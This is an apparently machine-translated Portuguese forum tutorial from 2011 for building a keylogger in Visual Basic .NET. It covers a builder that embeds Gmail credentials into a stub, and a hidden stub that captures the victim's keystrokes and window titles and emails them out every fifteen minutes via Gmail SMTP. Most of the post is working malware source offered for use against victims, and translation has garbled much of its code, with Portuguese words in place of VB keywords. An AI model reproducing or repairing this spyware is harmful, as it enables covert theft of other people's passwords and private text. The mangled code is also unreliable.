Tutorial Faça o seu Próprio Keylogger em Visual Basic by _PARADOX_

**hatussidon2** · 14 de Outubro 2011

Criando seu keylogger passo a passo.

Tutorial sobre como fazer um keylogger no Visual Basic. NET , também chamada VB8 . Antes de começar vou explane algo mais sobre o Visual Basic. O Visual Basic é uma linguagem de programação criada pela Microsoft Corporation. Sua linguagem de programação mais popular do mundo, é fácil e bom. Para que você começou apenas com o Visual Basic, isso vai ser ótimo tutorial para aprender um pouco mais sobre ele. Além disso, se você estiver lendo este tutorial , por favor não apenas copiar / colar .. a melhor maneira de aprender é ler e estudar o código fonte. Mesmo se o seu avanço e difícil de entender , você vai encontrar maneira de entendê-lo .. como eu.

OK , agora eu vou explane algo sobre linguagens de programação e como os computadores compreendê-los. Um computador não pode entender as pessoas a língua falada. A língua falada como o Inglês é demasiado geral e ambígua para computadores de entender. Temos de nos adaptar à máquina e aprender a linguagem de computador para que o computador possa entender. Aqui é onde entra em visual basic – quando você codificar tipo de fonte de Visual Basic para o computador, ele processa essas declarações em linguagem Visual Basic

ATENÇÃO: ele não funciona em Win7 & Vista porque o nome de . dll que eu uso para pegar as chaves isn’t esse nome para o Vista e win7 ! Você pode google o nome . dll biblioteca para encontrar para Windows7 & Vista

1°: DOWNLOAD:
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
(MICROSOFT VISUAL ...)Construir aplicações Windows borda de corte de graça se você não já.
Scan:
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
2°: • Executar Visual Basic
• No clique guia File> New Project
• > Application Windows ” Builder Keylogger ” Clique em OK >
3°: Alterar o seguinte a partir das propriedades do Form1:
FormBorderStyle FixedSingle =
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition CenterScreen =
Text = Builder Keylogger
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
Uploaded with
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
A partir da Toolbox acrescentar:
• TextBox1 – O GMail texto Username
• Textbox2 – O Gmail textbox Password
• Button1 – o botão Criar, Alterar texto para: Build
• Label1 – Alterar texto para: Nome de usuário do Gmail
• Label2 – Alterar texto para: Password Gmail
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
Uploaded with
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
4°: 4.Agora, quando você adicionar todos estes , em cima do código de acrescentar:
Imports System.IO
Agora sob Public Class Form1 adicionar o seguinte código , que seria strings:
CÓDIGO:
Dim stub, Texto1, Texto2 As String
Const FileSplit = keylogger "@ @"
Agora, quando você fez com que, só basta clicar duas vezes Button1 e adicione:
CÓDIGO:
text1 = TextBox1.Text
texto2 = TextBox2.Text
FileOpen (1, Application.StartupPath & "\ Stub.exe ", OpenMode.Binary , OpenAccess.Read , OpenShare.Default )
stub = Space ( LOF (1))
FileGet (1, stub )
FileClose (1)
Se File.Exists (" Server.exe ") Then
My.Computer.FileSystem.DeleteFile (" Server.exe ")
End If
FileOpen (1, Application.StartupPath & "\ server.exe ", OpenMode.Binary , OpenAccess.ReadWrite , OpenShare.Default )
FilePut (1, esboço & & text1 FileSplit FileSplit & & & texto2 FileSplit )
FileClose (1)
MsgBox ("The Server.exe é edificada ! ")
Agora você tem seu construtor , e agora vamos passar para o rascunho .
5°:• Executar Visual Basic
• No clique guia File> New Project
• Aplicação Windows > ” Stub ” Clique em OK >

6°: Alterar o seguinte a partir das propriedades do Form1:

FormBorderStyle FixedToolWindow =
StartPosition CenterScreen =
Text = (sem texto)
WindowsState = Minimizado
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
Uploaded with
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
A partir da Toolbox acrescentar:

• Textbox1 – KEY LOGGER ( acompanhar tudo o que escrever vítima )
• Textbox2 – Nome de usuário do Gmail
• Textbox3 – senha do Gmail
• Timer1 – Upload Intervalo
• Timer2 – Obter nome de janela onde começar keylogger
chaves ( userful )
• Timer3 – Get Keys
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
Uploaded with
É necessário se cadastrar para acessar o conteúdo.
- Entre
- ou
- Cadastre-se
Timer1 Interval = 900000
Intervalo Timer2 = 100
Intervalo Timer3 = 100

7°: Agora, quando você adicionar todos estes , em cima do código de acrescentar:

CÓDIGO:
Imports System.IO
Importações System.Net.Mail

Agora sob Public Class Form1 adicionar o seguinte código , que seria strings:

CÓDIGO:
opções Dim (), Texto1, Texto2 As String
Private Declare Function GetAsyncKeyState Lib " user32 " (ByVal vKey As Long ) As Integer
Dim resultado As Integer
Const FileSplit = keylogger "@ @"

Agora Timer1 duplo clique e escreva o seguinte código :

CÓDIGO:
Dim MailSetup No New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add ( TextBox2.Text )
MailSetup.From = MailAddress Novo ( TextBox2.Text )
MailSetup.Body = TextBox1.Text
Dim smtp As New SmtpClient (" smtp.gmail.com ")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = Net.NetworkCredential Novo ( TextBox2.Text , TextBox3.Text )
SMTP.Send ( MailSetup )
TextBox1.Clear ()

E adicione este código fonte em função de :

Download Como adicionar a função Se você não sabe GetTheWindwos.rar

CÓDIGO:
Private Declare Function GetForegroundWindow Lib "user32.dll " () As Int32
Private Declare Function GetWindowText Lib " user32.dll "Alias" GetWindowTextA " (ByVal hwnd Como Int32, ByVal lpString As String , ByVal cch Como Int32) como Int32
Dim strin As String = Nothing

Private GetActiveWindowTitle Function ( ) As String
Dim MyStr As String
MyStr = new String ( Chr ( 0) , 100)
GetWindowText ( GetForegroundWindow , MyStr , 100)
MyStr MyStr.Substring = (0, InStr ( MyStr , Chr ( 0)) – 1)
Return MyStr
End Function

Agora Timer2 duplo clique para obter os nomes das janelas ativas:

CÓDIGO:
Se strin > < GetActiveWindowTitle ( ) Then
TextBox1.Text = TextBox1.Text & vbNewLine + "[ vbNewLine "& GetActiveWindowTitle () & "] : "+
strin = GetActiveWindowTitle ()
End If

Agora, dê um clique duplo Form1 e escrever o seguinte código :

CÓDIGO:
ileOpen (1, Application.ExecutablePath , OpenMode.Binary , OpenAccess.Read , OpenShare.Shared )
text1 = Space ( LOF (1))
texto2 = Space ( LOF (1))
FileGet (1, text1 )
FileGet (1, texto2 )
FileClose (1)
options = Split ( text1 , FileSplit )
TextBox2.Text = opções (1)
TextBox3.Text = opções (2)
Timer1.Start ()
Timer2.Start ()

Agora o código e clique duplo Timer3 passado:
CÓDIGO:
Para i = 1 a 255
resultado = 0
result = GetAsyncKeyState ( i)
Se o resultado = -32767 Então
TextBox1.Text = TextBox1.Text + Chr ( i)
End If
Next i

Creditos: _PARADOX_ ee ILUSION